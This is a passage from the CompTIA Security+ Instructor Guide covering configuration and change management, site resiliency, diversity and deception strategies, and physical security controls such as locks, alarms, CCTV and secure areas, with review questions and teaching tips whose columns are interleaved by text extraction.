naming strategy should allow administrators to identify the type and function of any and devices located
and selected via
particular resource or location at any point in the CMDB or network directory. Each attributes and tags,
label should conform to rules for host and DNS names (support.microsoft.com/en-us/ possibly using CNAME
help/909264/naming-conventions-in-active-directory-for-computers-domains-sites- and TXT records
and). As well as an ID attribute, the location and function of tangible and digital assets (watson-wilson.ca/
can be recorded using attribute tags and fields or DNS CNAME and TXT resource blog/2011/03/03/host-
naming).
records.

Internet Protocol (IP) Schema

The division of the IP address space into subnets should be carefully planned and
documented in an Internet Protocol (IP) schema. Using a consistent addressing
methodology makes it easier to apply firewall access control lists (ACLs) and perform
security monitoring (tools.cisco.com/security/center/resources/security_ip_addressing.
html). It also makes configuration errors less likely and easier to detect. Within
each subnet, the schema should identify IP addresses reserved for manual or static
allocation versus DHCP address pools. IP address management (IPAM) software
suites can be used to monitor IP usage.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 532 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Change Control and Change Management

Change Control and
Service management standards distinguish change control as distinct procedures for
Change Management requesting and approving changes within an overall change management process.

Change Control
A change control process can be used to request and approve changes in a planned
and controlled way. Change requests are usually generated when something needs
to be corrected, when something changes, or when there is room for improvement in
a process or system currently in place. The need to change is often described either
as reactive, where the change is forced on the organization, or as proactive, where
the need for change is initiated internally. Changes can also be categorized according
to their potential impact and level of risk (major, significant, minor, or normal, for
instance). In a formal change management process, the need or reasons for change
and the procedure for implementing the change is captured in a request for change
(RFC) document and submitted for approval.
The RFC will then be considered at the appropriate level and affected stakeholders will
be notified. This might be a supervisor or department manager if the change is normal
or minor. Major or significant changes might be managed as a separate project and
require approval through a change advisory board (CAB).

Change Management
The implementation of changes should be carefully planned, with consideration for
how the change will affect dependent components. For most significant or major
changes, organizations should attempt to trial the change first. Every change should be
accompanied by a rollback (or remediation) plan, so that the change can be reversed
if it has harmful or unforeseen consequences. Changes should also be scheduled
sensitively if they are likely to cause system downtime or other negative impact on
the workflow of the business units that depend on the IT system being modified. Most
networks have a scheduled maintenance window period for authorized downtime.
When the change has been implemented, its impact should be assessed, and the
process reviewed and documented to identify any outcomes that could help future
change management projects.

Show Slide(s) Site Resiliency

Site Resiliency
Enterprise-level networks often provision resiliency at the site level. An alternate
processing or recovery site is a location that can provide the same (or similar) level
Teaching of service. An alternate processing site might always be available and in use, while a
Tip recovery site might take longer to set up or only be used in an emergency.
You might want Operations are designed to failover to the new site until the previous site can be
to note "hot-hot"
terminology to
brought back online. Failover is a technique that ensures a redundant component,
distinguish the site device, application, or site can quickly and efficiently take over the functionality of an
and replication asset that has failed. For example, load balancers provide failover in the event that
method. Hot-hot one or more servers or sites behind the load balancer are down or are taking too long
refers to synchronous to respond. Once the load balancer detects this, it will redirect inbound traffic to an
replication between
alternate processing server or site. Thus, redundant servers in the load balancer pool
the live site and the
failover, so that there ensure there is no or minimal interruption of service.
is no delay. Hot-cold Site resiliency is described as hot, warm, or cold:
refers to a processing
facility that is fully • A hot site can failover almost immediately. It generally means that the site is
operational, but where already within the organization's ownership and is ready to deploy. For example,
data must be restored
a hot site could consist of a building with operational computer equipment that is
manually from a
backup. kept updated with a live data set.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 533

• A warm site could be similar, but with the requirement that the latest data set will
need to be loaded.

• A cold site takes longer to set up. A cold site may be an empty building with a lease
agreement in place to install whatever equipment is required when necessary.

Clearly, providing redundancy on this scale can be very expensive. Sites are often
leased from service providers. However, in the event of a nationwide emergency,
demand for the services is likely to exceed supply! Another option is for businesses to
enter into reciprocal arrangements to provide mutual support. This is cost effective but
complex to plan and set up.
Another issue is that creating a duplicate of anything doubles the complexity of
securing that resource properly. The same security procedures must apply to
redundant sites, spare systems, and backup data as apply to the main copy.
For many companies, the most cost-effective solution is to move processing and data
storage to the cloud.

Diversity and Defense in Depth Show Slide(s)

Layered security is typically seen as improving cybersecurity resiliency because Diversity and Defense
it provides defense in depth. The idea is that to fully compromise a system, the in Depth
attacker must get past multiple security controls, providing control diversity. These
layers reduce the potential attack surface and make it much more likely that an attack
will be deterred or prevented, or at least detected and then prevented by manual
intervention.

Technology and Control Diversity

Allied with defense in depth is the concept of security through (or with) diversity.
Technology diversity refers to environments that are a mix of operating systems,
applications, coding languages, virtualization solutions, and so on. Control diversity
means that the layers of controls should combine different classes of technical and
administrative controls with the range of control functions: prevent, detect, correct,
and deter.
Consider the scenario where Alan from marketing is sent a USB stick containing
designs for a new billboard campaign from an agency. Without defense in depth, Alan
might find the USB stick on his desk in the morning, plug it into his laptop without
much thought, and from that point is potentially vulnerable to compromise. There are
many opportunities in this scenario for an attacker to tamper with the media: at the
agency, in the post, or at Alan's desk.
Defense in depth, established by deploying a diverse range of security controls, could
mitigate the numerous risks inherent in this scenario:
• User training (administrative control) could ensure that the media is not left
unattended on a desk and is not inserted into a computer system without scanning
it first.

• Endpoint security (technical control) on the laptop could scan the media for
malware or block access automatically.

• Security locks inserted into USB ports (physical control) on the laptop could prevent
attachment of media without requesting a key, allowing authorization checks to be
performed first.

• Permissions restricting Alan's user account (technical control) could prevent the
malware from executing successfully.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 534 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• The use of encrypted and digitally signed media (technical control) could prevent or
identify an attempt to tamper with it.

• If the laptop were compromised, intrusion detection and logging/alerting systems

(technical control) could detect and prevent the malware spreading on the network.

Vendor Diversity
As well as deploying multiple types of controls, you should consider the advantages
of leveraging vendor diversity. Vendor diversity means that security controls are
sourced from multiple suppliers. A single vendor solution is a tempting choice for many
organizations, as it provides interoperability and can reduce training and support costs.
Some disadvantages could include the following:
• Not obtaining best-in-class performance—one vendor might provide an effective
firewall solution, but the bundled malware scanning is found to be less effective.

• Less complex attack surface—a single vulnerability in a supplier's code could put
multiple appliances at risk in a single vendor solution. A threat actor will be able to
identify controls and possible weaknesses more easily.

• Less innovation—dependence on a single vendor might make the organization

invest too much trust in that vendor's solutions and less willing to research and test
new approaches.

Crypto Diversity
This concept can be extended to the selection of algorithms and implementations
of cryptography. Adoption of methods such as blockchain-based IAM (ibm.com/
blogs/blockchain/2018/10/decentralized-identity-an-alternative-to-password-based-
authentication) or selecting ChaCha in place of AES as a preferred cipher suite
(blog.cloudflare.com/it-takes-two-to-chacha-poly) forces threat actors to develop
new attack methods.

Show Slide(s) Deception and Disruption Strategies

Deception and
The practice of cybersecurity is often described as asymmetric warfare; the defenders
Disruption Strategies have to win every encounter and be ready all the time. The threat actors can choose
when to attack and only have to win once. Some cybersecurity tactics aim to reduce
that asymmetry by increasing the attack cost. This means that a threat actor has to
commit more resources to even plan an attack.
Active defense means an engagement with the adversary, but this can be interpreted
in several different ways. One type of active defense involves the deployment of decoy
assets to act as lures or bait. It is much easier to detect intrusions when an attacker
interacts with a decoy resource, because you can precisely control baseline traffic and
normal behavior in a way that is more difficult to do for production assets.

Honeypots, Honeynets, and Honeyfiles

A honeypot is a computer system set up to attract threat actors, with the intention
of analyzing attack strategies and tools, to provide early warnings of attack attempts,
or possibly as a decoy to divert attention from actual computer systems. Another use
is to detect internal fraud, snooping, and malpractice. A honeynet is an entire decoy
network. This may be set up as an actual network or simulated using an emulator.
Deploying a honeypot or honeynet can help an organization to improve its security
systems, but there is the risk that the attacker can still learn a great deal about
how the network is configured and protected from analyzing the honeypot system.
Many honeypots are set up by security researchers investigating malware threats,

Lesson 20: Implementing Cybersecurity Resilience | Topic 20C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 535

software exploits, and spammers' abuse of open relay mail systems. These systems
are generally fully exposed to the Internet. On a production network, a honeypot is
more likely to be located in a DMZ, or on an isolated segment on the private network
(if the honeypot is seeking to draw out insider threats). This provides early warning
and evidence of whether an attacker has been able to penetrate to a given security
zone. This can help the security team find the source of the attack and take more
comprehensive steps to completely eradicate the threat from the organization.
A honeypot or honeynet can be combined with the concept of a honeyfile, which is
convincingly useful, but actually fake, data. This honeyfile can be made trackable, so
that when a threat actor successfully exfiltrates it, the attempts to resuse or exploit it
can be traced.
For example, an organization constructs a database full of benign or meaningless
data disguised as important financial records. This deception strategy might involve
breadcrumbs inserted into the production environment to subtly guide a threat actor
toward the spoofed "loot" (fidelissecurity.com/threatgeek/deception/breadcrumbs-
intelligent-deception). The database is placed behind a subnet with lowered defenses,
which baits an attacker into trying to exfiltrate this useless data. Identifying the attacker
also allows an organization to pursue an attribution strategy. Attribution means the
organization publicizes the attacker's role and publishes the methods used as threat
intelligence.

Disruption Strategies
Another type of active defense uses disruption strategies. These adopt some of the
obfuscation strategies used by malicious actors. The aim is to raise the attack cost and
tie up the adversary's resources. Some examples of disruption strategies include:
• Using bogus DNS entries to list multiple hosts that do not exist.

• Configuring a web server with multiple decoy directories or dynamically generated

pages to slow down scanning.

• Using port triggering or spoofing to return fake telemetry data when a host detects
port scanning activity. This will result in multiple ports being falsely reported as
open and will slow down the scan. Telemetry can refer to any type of measurement
or data returned by remote scanning. Similar fake telemetry could be used to report
IP addresses as up when they are not, for instance.

• Using a DNS sinkhole to route suspect traffic to a different network, such as a

honeynet, where it can be analyzed.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 536 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Cybersecurity Resiliency Strategies
Answer the following questions:

1. You are preparing a white paper on configuration management essentials

for your customers. You have the following headings already: Diagrams,
Standard naming conventions, Internet protocol (IP) schema. If you are
basing your paper on the ComptTIA Security+ objectives, which other topic
should you cover?

The configuration baseline is an essential concept as it allows unauthorized change to

be detected more easily and planned change to be managed more easily.

2. What are the risks of not having a documented IP schema?

Configuration errors are more likely, especially where complex access control lists
(ACLs) and security monitoring sensor deployment is required.

3. In organizational policies, what two concepts govern change?

A change control process governs the way changes are requested and approved. A
change management process governs the way that planned change is implemented
and the way unplanned change is handled.

4. Which terms are used to discuss levels of site resiliency?

Hot, warm, and cold sites, referring to the speed with which a site can failover.

5. You are preparing some briefing notes on diversity strategies for

cybersecurity resilience for the executive team. You have prepared sections
on Technologies, Crypto, and Controls so far. What other topic do you need
to cover?

Vendor diversity.

6. How could a deception-based cybersecurity resilience strategy return fake

telemetry to a threat actor?

Fake telemetry means that when a threat actor runs port or host discovery scans, a
spoof response is returned. This could lead the threat actor to waste time probing the
port or host IP address trying to develop an attack vector that does not actually exist.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 537

Lesson 20
Summary
You should be able to use redundancy, backup, configuration/change management, Teaching
diversity, and deception to improve cybersecurity resilience. Tip
Check that students
Guidelines for Implementing Cybersecurity Resilience are confident about
the content that has
Follow these guidelines for implementing cybersecurity resilience: been covered. If there
is time, revisit any
• Set up a configuration management system and ensure that it is kept up to date: content examples that
they have questions
• An inventory to track assets, using standard naming convention and labelling. about. If you have
used all the available
• Baseline configuration information for each configuration item. time for this lesson
block, note the issues,
• Diagrams showing relationships between assets in workflows and networks. and schedule time for
a review later in the
• Ensure that changes to workflows and assets are governed by change control and course.
change management processes.
Interaction
• Develop a backup strategy and ensure that the order of restoration is fully tested: Opportunity
Optionally, ask
• Determine RPO and recovery windows for different data assets. students whether they
have witnessed any
• Separate data from compute functions to ensure nonpersistence during recovery. restore from backup
events that went
• Select media that meets storage and onsite/offsite plus online/offline storage either disastrously or
requirements (disk, tape, NAS, and SAN). very well.

• Implement a full/incremental/differential scheme to accommodate media

storage limitations.

• Using risk assessments, identify assets that have high-availability requirements and
provision redundancy to meet this requirement:

• Hot, warm, or cold site resource to recover from disasters.

• Dual power supply, PDUs, PSUs, and generators to make power system resilient.

• NIC teaming, multiple paths, and load balancing to make networks resilient.

• RAID and multipath I/O to make storage resilient.

• Use risk assessments and impact analysis to identify whether technology, control,
vendor, or crypto diversity could be increased to benefit resiliency.

• Use threat awareness and risk assessment to determine whether deception and
active defense strategies, such as decoy/honeypot assets and fake telemetry, could
benefit resiliency.

Lesson 20: Implementing Cybersecurity Resilience

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 21
Explaining Physical Security

LESSON INTRODUCTION Teaching

Tip
Risks from intrusion by social engineering, wireless backdoors, and data exfiltration by As well as site
mobile devices all mean that physical security is a critical consideration for site design perimeter security,
and operations. The premises in which networks are installed need to use access this topic looks
control mechanisms and be resilient to person-made and natural disasters, such at the security of
as fire. hardware cabling
and environmental
monitoring. This
Lesson Objectives material should be
quite straightforward
In this lesson, you will: and you should
hopefully not need to
• Explain the importance of physical site security controls. allocate too much class
time to covering it.
• Explain the importance of physical host security controls.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 540 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 21A
Explain the Importance of Physical
Site Security Controls

Teaching EXAM OBJECTIVES COVERED

Tip 1.2 Given a scenario, analyze potential indicators to determine the type of attack
As well as starting 2.7 Explain the importance of physical security controls
coverage of objective
2.7, this topic includes
card cloning and
If an attacker can gain physical access to your premises, there may be lots of
skimming attacks opportunities to install rogue devices, vandalize or disrupt systems, or observe
from 1.2. confidential information. Consequently, as a security professional, you should be able
to explain the importance of installing access and monitoring controls that protect sites
against physical intrusion.

Show Slide(s) Physical Security Controls

Physical Security
Physical access controls are security measures that restrict and monitor access to
Controls specific physical areas or assets. They can control access to a building, to equipment,
or to specific areas, such as server rooms, finance or legal areas, data centers, network
Teaching cable runs, or any other area that has hardware or information that is considered
Tip to have important value and sensitivity. Determining where to use physical access
Recall that deterrence, controls requires a cost–benefit analysis and must consider any regulations or other
delay, and detection compliance requirements for the specific types of data that are being safeguarded.
are often more
realistic security goals Physical access controls depend on the same access control fundamentals as network
than prevention. or operating system security:
• Authentication—create access lists and identification mechanisms to allow
approved persons through the barriers.

• Authorization—create barriers around a resource so that access can be controlled

through defined entry and exit points.

• Accounting—keep a record of when entry/exit points are used and detect security
breaches.
Show Slide(s)
Physical security can be thought of in terms of zones. Each zone should be separated
Site Layout, Fencing, by its own barrier(s). Entry and exit points through the barriers need to be controlled
and Lighting by one or more security mechanisms. Progression through each zone should be
progressively more restricted.
Teaching
Tip
Make sure students
Site Layout, Fencing, and Lighting
are familiar with
the different
In existing premises, there will not be much scope to influence site layout. However,
types of physical given constraints of cost and existing infrastructure, try to plan the site using the
access controls— following principles:
barriers, gateways,
locks, alarms, and • Locate secure zones, such as equipment rooms, as deep within the building as
surveillance. possible, avoiding external walls, doors, and windows.

Lesson 21: Explaining Physical Security | Topic 21A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 541

• Use a demilitarized zone (DMZ) design for the physical space. Position public access
areas so that guests do not pass near secure zones. Security mechanisms in public
areas should be highly visible, to increase deterrence.

• Use signage and warnings to enforce the idea that security is tightly controlled.
Beyond basic no trespassing signs, some homes and offices also display signs from
the security companies whose services they are currently using. These may convince
intruders to stay away.

• Conversely, entry points to secure zones should be discreet. Do not allow an

intruder the opportunity to inspect security mechanisms protecting such zones (or
even to know where they are). Use industrial camouflage to make buildings and
gateways protecting high-value assets unobtrusive, or create high-visibility decoy
areas to draw out potential threat actors.

• Try to minimize traffic having to pass between zones. The flow of people should be
"in and out" rather than "across and between."

• Give high-traffic public areas high visibility, so that covert use of gateways, network
access ports, and computer equipment is hindered, and surveillance is simplified.

• In secure zones, do not position display screens or input devices facing toward
pathways or windows. Alternatively, use one-way glass so that no one can look in
through windows.

Barricades and Entry/Exit Points

A barricade is something that prevents access. As with any security system, no
barricade is completely effective; a wall may be climbed or a lock may be picked, for
instance. The purpose of barricades is to channel people through defined entry and
exit points. Each entry point should have an authentication mechanism so that only
authorized persons are allowed through. Effective surveillance mechanisms ensure
that attempts to penetrate a barricade by other means are detected.

Sites where there is a risk of a terrorist attack will use barricades such as bollards and
security posts to prevent vehicles from approaching closely to a building at high speed.

Fencing
The exterior of a building may be protected by fencing. Security fencing needs to be
transparent (so that guards can see any attempt to penetrate it), robust (so that it is
difficult to cut), and secure against climbing (which is generally achieved by making it tall
and possibly by using razor wire). Fencing is generally effective, but the drawback is that
it gives a building an intimidating appearance. Buildings that are used by companies to
welcome customers or the public may use more discreet security methods.

Lighting
Security lighting is enormously important in contributing to the perception that a
building is safe and secure at night. Well-designed lighting helps to make people feel
safe, especially in public areas or enclosed spaces, such as parking garages. Security
lighting also acts as a deterrent by making intrusion more difficult and surveillance
(whether by camera or guard) easier. The lighting design needs to account for overall
light levels, the lighting of particular surfaces or areas (allowing cameras to perform
facial recognition, for instance), and avoiding areas of shadow and glare.

Lesson 21: Explaining Physical Security | Topic 21A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 542 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Gateways and Locks

Gateways and Locks
In order to secure a gateway, it must be fitted with a lock. A secure gateway will
normally be self-closing and self-locking, rather than depending on the user to close
and lock it. Lock types can be categorized as follows:
• Physical—a conventional lock prevents the door handle from being operated
without the use of a key. More expensive types offer greater resistance against lock
picking.

• Electronic—rather than a key, the lock is operated by entering a PIN on an electronic

keypad. This type of lock is also referred to as cipher, combination, or keyless. A
smart lock may be opened using a magnetic swipe card or feature a proximity
reader to detect the presence of a physical token, such as a wireless key fob or
smart card.

Generic examples of locks—From left to right, a standard key lock, a deadbolt lock, and an electronic
keypad lock. (Images from user macrovector © 123RF.com.)

• Biometric—a lock may be integrated with a biometric scanner.

Generic examples of a biometric thumbprint scanner lock and a token-based key card lock.
(Images from user macrovector © 123RF.com.)

Lesson 21: Explaining Physical Security | Topic 21A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 543

Mantraps
Apart from being vulnerable to lock picking, the main problem with a simple door or
gate as an entry mechanism is that it cannot accurately record who has entered or left
an area. Multiple people may pass through the gateway at the same time; a user may
hold a door open for the next person; an unauthorized user may "tailgate" behind an
authorized user. This risk may be mitigated by installing a turnstile (a type of gateway
that only allows one person through at a time). The other option is to add some sort of
surveillance on the gateway. Where security is critical and cost is no object, an access
control vestibule, or mantrap, could be employed. A mantrap is where one gateway
leads to an enclosed space protected by another barrier.

Cable Locks
Cable locks attach to a secure point on the device chassis. A server chassis might come
with both a metal loop and a Kensington security slot. As well as securing the chassis
to a rack or desk, the position of the secure point prevents the chassis from being
opened, without removing the cable first.

Physical Attacks against Smart Cards and USB Show Slide(s)

Some types of smart cards used as passkeys for electronic locks can be vulnerable to Physical Attacks
cloning and skimming attacks: against Smart Cards
and USB
• Card cloning—this refers to making one or more copies of an existing card. A
lost or stolen card with no cryptographic protections can be physically duplicated.
Card loss should be reported immediately so that it can be revoked and a new one
issued. If there were a successful attack, it might be indicated by use of a card in a
suspicious location or time of day.

• Skimming—this refers to using a counterfeit card reader to capture card details,

which are then used to program a duplicate. Some types of proximity card can quite
easily be made to transmit the credential to a portable RFID reader that a threat
actor could conceal on his or her person. Skimmers installed on public readers, such
as ATM machines, can be difficult to spot.

These attacks can generally only target "dumb" smart cards that transfer tokens rather
than perform cryptoprocessing. Bank-issued smart cards, referred to as EMV (Electron,
MasterCard, Visa), can also be vulnerable through the magnetic strip, which is retained
for compatibility.

When evaluating risks from card cloning and skimming, you need to realize that there are
many types of "smart card." For example, old MIFARE Classic cards used as public transit
payment cards are easily cloned because they use a weak cryptographic implementation.
Building entry systems using contactless cards with no cryptoprocessing are also vulnerable
(youtube.com/watch?v=cxxnuofREcM). Cloning of MIFARE EV or EMV smart cards that
implement a TPM-like cryptoprocessor is not thought to be possible.

Malicious USB charging cables and plugs are also a widespread problem. As with card
skimming, a device may be placed over a public charging port at airports and other
transit locations. A USB data blocker can provide mitigation against these juice-
jacking attacks by preventing any sort of data transfer when the smartphone or laptop
is connected to a charge point (zdnet.com/article/this-cheap-gadget-can-stop-your-
smartphone-or-tablet-being-hacked-at-an-airport-hotel-or-cafe).

Alarm Systems and Sensors Show Slide(s)

When designing premises security, you must consider the security of entry points that Alarm Systems and
could be misused, such as emergency exits, windows, hatches, grilles, and so on. These Sensors

Lesson 21: Explaining Physical Security | Topic 21A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 544 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

may be fitted with bars, locks, or alarms to prevent intrusion. Also consider pathways
above and below, such as false ceilings and ducting. There are five main types of alarm:
• Circuit—a circuit-based alarm sounds when the circuit is opened or closed,
depending on the type of alarm. This could be caused by a door or window opening
or by a fence being cut. A closed-circuit alarm is more secure because an open
circuit alarm can be defeated by cutting the circuit.

• Motion detection—a motion-based alarm is linked to a detector triggered by any

movement within an area (defined by the sensitivity and range of the detector), such
as a room. The sensors in these detectors are either microwave radio reflection
(similar to radar) or passive infrared (PIR), which detect moving heat sources.

• Noise detection—an alarm triggered by sounds picked up by a microphone. Modern

AI-backed analysis and identification of specific types of sound can render this type
of system much less prone to false positives.

• Proximity—radio frequency ID (RFID) tags and readers can be used to track the
movement of tagged objects within an area. This can form the basis of an alarm
system to detect whether someone is trying to remove equipment.

• Duress—this type of alarm is triggered manually by staff if they come under

threat. There are many ways of implementing this type of alarm, including wireless
pendants, concealed sensors or triggers, and DECT handsets or smartphones. Some
electronic entry locks can also be programmed with a duress code that is different
from the ordinary access code. This will open the gateway but also alert security
personnel that the lock has been operated under duress.

Circuit-based alarms are typically suited for use at the perimeter and on windows
and doors. These may register when a gateway is opened without using the lock
mechanism properly or when a gateway is held open for longer than a defined period.
Motion detectors are useful for controlling access to spaces that are not normally
used. Duress alarms are useful for exposed staff in public areas. An alarm might simply
sound an alert or it may be linked to a monitoring system. Many alarms are linked
directly to local law enforcement or to third-party security companies. A silent alarm
alerts security personnel rather than sounding an audible alarm.

Show Slide(s) Security Guards and Cameras

Security Guards and
Surveillance is typically a second layer of security designed to improve the resilience of
Cameras perimeter gateways. Surveillance may be focused on perimeter areas or within security
zones themselves. Human security guards, armed or unarmed, can be placed in front
of and around a location to protect it. They can monitor critical checkpoints and verify
identification, allow or disallow access, and log physical entry events. They also provide
a visual deterrent and can apply their own knowledge and intuition to potential security
breaches. The visible presence of guards is a very effective intrusion detection and
deterrence mechanism, but is correspondingly expensive. It also may not be possible
to place security guards within certain zones because they cannot be granted an
appropriate security clearance. Training and screening of security guards is imperative.
CCTV (closed circuit television) is a cheaper means of providing surveillance than
maintaining separate guards at each gateway or zone, though still not cheap to set up
if the infrastructure is not already in place on the premises. It is also quite an effective
deterrent. The other big advantage is that movement and access can be recorded. The
main drawback compared to the presence of security guards is that response times are
longer, and security may be compromised if not enough staff are in place to monitor
the camera feeds.

Lesson 21: Explaining Physical Security | Topic 21A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 545

CCTV installed to monitor a server room. (Image by Dario Lo Presti © 123rf.com.)

The cameras in a CCTV network are typically connected to a multiplexer using coaxial
cabling. The multiplexer can then display images from the cameras on one or more
screens, allow the operator to control camera functions, and record the images to tape
or hard drive. Newer camera systems may be linked in an IP network, using regular
data cabling.

If you consider control types, a security guard is a preventive control, as the guard can both
discover and act to prevent an attack. A camera is a detective control only.

Camera systems and robotics can use AI and machine learning to implement smart
physical security (theverge.com/2018/1/23/16907238/artificial-intelligence-surveillance-
cameras-security):
• Motion recognition—the camera system might be configured with gait identification
technology. This means that the system can generate an alert when anyone moves
within sight of the camera and the pattern of their movement does not match a
known and authorized individual.

• Object detection—the camera system can detect changes to the environment, such
as a missing server, or unknown device connected to a wall port.

• Robot sentries—surveillance systems (and in some cases weapon systems) can be

mounted on a wholly or partially autonomous robot (switch.com/switch-sentry).

• Drones/UAV—cameras mounted on drones can cover wider areas than ground-

based patrols (zdnet.com/article/best-security-surveillance-drones-for-business).

Lesson 21: Explaining Physical Security | Topic 21A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 546 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Reception Personnel and ID Badges

Reception Personnel
One of the most important parts of surveillance is the challenge policy. This sets out
and ID Badges what type of response is appropriate in given situations and helps to defeat social
engineering attacks. This must be communicated to and understood by the staff.
Challenges represent a whole range of different contact situations. For example:
• Challenging visitors who do not have ID badges or are moving about
unaccompanied.

• Insisting that proper authentication is completed at gateways, even if this means

inconveniencing staff members (no matter their seniority).

• Intruders and/or security guards may be armed. The safety of staff and compliance
with local laws has to be balanced against the imperative to protect the company's
other resources.

It is much easier for employees to use secure behavior in these situations if they know
that their actions are conforming to a standard of behavior that has been agreed upon
and is expected of them.

Reception Personnel and Visitor Logs

An access list held at the reception area for each secure gateway records who is
allowed to enter. An electronic lock may be able to log access attempts or a reception
staff can manually log movement. At the lowest end, a sign-in and sign-out sheet can
be used to record authorized access. Visitor logging requirements will vary depending
on the organization, but should include at least the name and company being
represented, date, time of entry and departure, reason for visiting, and contact within
the organization.

Two-Person Integrity/Control
Reception areas for high-security zones might be staffed by at least two people at all
times, providing integrity for entry control and reducing the risk of insider threat.

ID Badges
A photographic ID badge showing name and (perhaps) access details is one of the
cornerstones of building security. Anyone moving through secure areas of a building
should be wearing an ID badge; anyone without an ID badge should be challenged.
Color-coding could be used to make it obvious to which zones a badge is granted
access.

Lesson 21: Explaining Physical Security | Topic 21A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 547

Review Activity:
Physical Site Security Controls
Answer the following questions:

1. What physical site security controls act as deterrents?

Lighting is one of the most effective deterrents. Any highly visible security control
(guards, fences, dogs, barricades, CCTV, signage, and so on) will act as a deterrent.

2. What use might a proximity reader be for site security?

One type of proximity reader allows a lock to be operated by a contactless smart card.
Proximity sensors can also be used to track objects via RFID tags.

3. What are the two main options for mobile camera surveillance?

Robot sentries and drone/UAV-mounted cameras.

4. What physical security system provides mitigation against juice-jacking?

A USB data blocker can be attached to the end of a cable to prevent a charging port
from trying to make a data connection.

Lesson 21: Explaining Physical Security | Topic 21A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 548 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 21B
Explain the Importance of Physical
Host Security Controls

Teaching EXAM OBJECTIVES COVERED

Tip 2.7 Explain the importance of physical security controls
4.1 Given a scenario, use the appropriate tool to assess organizational security (Data
The final topic covers
environmental
sanitization only)
security and remnant
removal. As with data networks, perimeter defenses are not sufficient to ensure the security of
hosts within a site. As well as the risk that the perimeter could be breached, security
systems must also be resilient against insider threats. You need to deploy additional
controls to secure areas, such as computer rooms and data centers.
Environmental security ensures that risks to availability from hosts overheating are
minimized. All sites also need effective procedures for the disposal of equipment and
paper records, to ensure that confidential data remnants are not at risk of exposure.

Show Slide(s) Secure Areas

Secure Areas
A secure area is designed to store critical assets with a higher level of access protection
than general office areas. The most vulnerable point of the network infrastructure will
be the communications or server room. This should be subject to the most stringent
access and surveillance controls that can be afforded. Similar measures apply to
hardening access to data centers.
Installing equipment within secure cabinets/enclosures provides mitigation
against insider attack and attacks that have broken through the perimeter security
mechanisms. These can be supplied with key-operated or electronic locks.

Rack cabinet with key-operated lock. (Image © 123RF.com.)

Lesson 21: Explaining Physical Security | Topic 21B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 549

Some data centers may contain racks with equipment owned by different companies
(colocation). These racks can be installed inside cages so that technicians can only
physically access the racks housing their own company's servers and appliances.

Colocation cages. (Image © Chris Dag and shared with CC BY 2.0 flickr.com/photos/
chrisdag/865711871.)

Air Gap/Demilitarized Zone

An air gapped host is one that is not physically connected to any network. Such a host
would also normally have stringent physical access controls, such as housing it within a
secure enclosure, validating any media devices connected to it, and so on.
An air gap within a secure area serves the same function as a demilitarized zone. It is
an empty area surrounding a high-value asset that is closely monitored for intrusions.
As well as being disconnected from any network, the physical space around the host
makes it easier to detect unauthorized attempts to approach the asset. Security
policies should prevent any unauthorized computing hosts or storage media from
being carried into the DMZ.

Safes and Vaults

Portable devices and media (backup tapes or USB media storing encryption keys, for
instance) may be stored in a safe. Safes can feature key-operated or combination locks
but are more likely to come with electronic locking mechanisms. Safes can be rated to
a particular cash value for the contents against various international grading schemes.
There are also fire safes that give a certain level of protection against exposure to
smoke and flame and to water penetration (from fire extinguishing efforts).
A vault is a room that is hardened against unauthorized entry by physical means, such
as drilling or explosives. A vault is expensive, but may be considered necessary for
mission critical assets that need to be very securely air gapped, such as the root server
for a commercial CA.

Lesson 21: Explaining Physical Security | Topic 21B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 550 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Protected Distribution and Faraday Cages

Protected Distribution
